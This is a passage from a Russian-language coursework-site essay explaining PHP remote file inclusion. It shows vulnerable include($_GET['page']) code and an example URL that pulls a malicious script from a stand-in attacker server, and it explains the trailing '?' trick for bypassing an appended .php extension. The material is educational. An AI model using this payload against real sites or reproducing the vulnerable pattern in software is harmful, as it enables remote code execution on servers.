Π‘Π°ΠΊΠ°Π»Π°Π²Ρ€
Π”ΠΈΠΏΠ»ΠΎΠΌΠ½Ρ‹Π΅ ΠΈ курсовыС Π½Π° Π·Π°ΠΊΠ°Π·

PHP β€” ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ

Π Π΅Ρ„Π΅Ρ€Π°Ρ‚ΠŸΠΎΠΌΠΎΡ‰ΡŒ Π² Π½Π°ΠΏΠΈΡΠ°Π½ΠΈΠΈΠ£Π·Π½Π°Ρ‚ΡŒ ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒΠΌΠΎΠ΅ΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹

Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ всС, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌΠΎΠ΅ Π½Π° ΡΡ‚Ρ€Π°Π½ΠΈΡ†Π΅, Π±ΡƒΠ΄Π΅Ρ‚ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΎ Π² php-ΠΊΠΎΠ΄ этой страницы. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠΈ: ЀактичСски, ΠΏΠΎΠ΄ PHP-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΡΠΌΠΈ понимаСтся такая Π°Ρ‚Π°ΠΊΠ° Π½Π° ΡΠ°ΠΉΡ‚, ΠΊΠΎΠ³Π΄Π° Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ стараСтся Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ свой php-ΠΊΠΎΠ΄ Π² Π°Ρ‚Π°ΠΊΡƒΠ΅ΠΌΠΎΠ΅ php-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Π’Π°ΠΊ ΠΆΠ΅ Π±Ρ‹Π» Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ символ «?» Π² ΠΏΡƒΡ‚ΠΈ ΠΊ Π²Π½Π΅Π΄Ρ€ΡΠ΅ΠΌΠΎΠΌΡƒ скрипту, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Ρ€Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ, находящССся Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ… Π§ΠΈΡ‚Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ >

PHP β€” ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ (Ρ€Π΅Ρ„Π΅Ρ€Π°Ρ‚, курсовая, Π΄ΠΈΠΏΠ»ΠΎΠΌ, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ)

ЀактичСски, ΠΏΠΎΠ΄ PHP-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΡΠΌΠΈ понимаСтся такая Π°Ρ‚Π°ΠΊΠ° Π½Π° ΡΠ°ΠΉΡ‚, ΠΊΠΎΠ³Π΄Π° Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ стараСтся Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ свой php-ΠΊΠΎΠ΄ Π² Π°Ρ‚Π°ΠΊΡƒΠ΅ΠΌΠΎΠ΅ php-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.

ΠŸΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ опасными функциями ΡΠ²Π»ΡΡŽΡ‚ΡΡ:

eval (),

preg_replace () (с ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ «e»),

require_once (),

include_once (),

include (),

require (),

create_function ().

ΠŸΡ€ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ (ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ опасный) php-ΠΊΠΎΠ΄ Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΌ сСрвСрС. На ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π°Π»ΠΈΡ‚ΡŒ шСлл. Но ΡΠ½Π°Ρ‡Π°Π»Π° ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ рассмотрим, ΠΊΠ°ΠΊ это происходит.

НапримСр, прСдставим, Ρ‡Ρ‚ΠΎ Ρƒ Π½Π°Ρ имССтся сайт, написанный Π½Π° PHP. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΠΌ Ρ‚Π°ΠΊ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ сайт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΊΠΎΠΌΠΌΠ°Π½Π΄Ρƒ page=page.html для отобраТСния Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΉ страницы.

Код Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ:

$file =$_GET['page']; //ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠ°Ρ страница

include ($file);

?>

Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ всС, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌΠΎΠ΅ Π½Π° ΡΡ‚Ρ€Π°Π½ΠΈΡ†Π΅, Π±ΡƒΠ΄Π΅Ρ‚ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΎ Π² php-ΠΊΠΎΠ΄ этой страницы. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠΈ:

http://www.Π°Ρ‚Π°ΠΊΡƒΠ΅ΠΌΡ‹ΠΉ_сайт.com/index.php?page=http://www.Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ_сСрв.com/врСдоносный_скрипт.txt?

Если ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ происходит послС выполнСния ΠΈΠ½ΠΊΠ»ΡƒΠ΄Π°, Π½Π°ΠΌ прСдставится ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΌ сСрвСрС:

$file ="http://www.Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ_сСрв.com/врСдоносный_скрипт.txt?"; //$_GET['page'];

include ($file); //$file — это Π²Π½Π΅Π΄Ρ€Π΅Π½Π½Ρ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠΌ скрипт

?>

ΠœΡ‹ Π²ΠΈΠ΄ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π» ΡƒΡΠΏΠ΅ΡˆΠ½ΡƒΡŽ Π°Ρ‚Π°ΠΊΡƒ Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΉ сСрвСр.

Π˜Ρ‚Π°ΠΊ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΆΠ΅ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ смог провСсти PHP-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΡŽ? ВсС ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ функция include () позволяСт Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹. ΠŸΠΎΡ‡Π΅ΠΌΡƒ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π±Ρ‹Π» ΡƒΠΊΠ°Π·Π°Π½ скрипт с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ *.txt, Π° Π½Π΅ *.php?

ΠžΡ‚Π²Π΅Ρ‚ прост, Ссли Π±Ρ‹ скрипт ΠΈΠΌΠ΅Π» Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ *.php, ΠΎΠ½ Π±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ился Π½Π° ΡΠ΅Ρ€Π²Π΅Ρ€Π΅ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°, Π° Π½Π΅ Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΉ систСмС.

Π’Π°ΠΊ ΠΆΠ΅ Π±Ρ‹Π» Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ символ «?» Π² ΠΏΡƒΡ‚ΠΈ ΠΊ Π²Π½Π΅Π΄Ρ€ΡΠ΅ΠΌΠΎΠΌΡƒ скрипту, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Ρ€Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ, находящССся Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ include () Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΌ сСрвСрС.

ΠŸΡ€ΠΈΠΌΠ΅Ρ€:

$file =$_GET['page'];

include ($file ." .php");

?>

Π­Ρ‚ΠΎΡ‚ скрипт добавляСт Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ *.php ΠΊ Ρ‡Π΅ΠΌΡƒ Π»ΠΈΠ±ΠΎ, Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΌΡƒ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ include ().

Π’ΠΎ Π΅ΡΡ‚ΡŒ http://www.Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ_сСрв.com/врСдоносный_скрипт.txt

ΠŸΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ΡΡ Π².

http://www.Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ_сСрв.com/врСдоносный_скрипт.txt.php

Π‘ Ρ‚Π°ΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ скрипт Π½Π΅ Π·Π°ΠΏΡƒΡΡ‚ится (Π½Π° ΡΠ΅Ρ€Π²Π΅Ρ€Π΅ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ° Π½Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΠ΅Ρ‚ Ρ„Π°ΠΉΠ»Π° /врСдоносный_скрипт.txt.php).

ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΠ΅Ρ‚ся «?» Π² ΠΊΠΎΠ½Π΅Ρ† ΠΏΡƒΡ‚ΠΈ ΠΊ Π²Ρ€Π΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠΌΡƒ скрипту:

http://www.Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ_сСрв.com/врСдоносный_скрипт.txt?.php

Но ΠΎΠ½ ΠΎΡΡ‚аСтся исполняСмым.

ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ вСсь тСкст
Π—Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ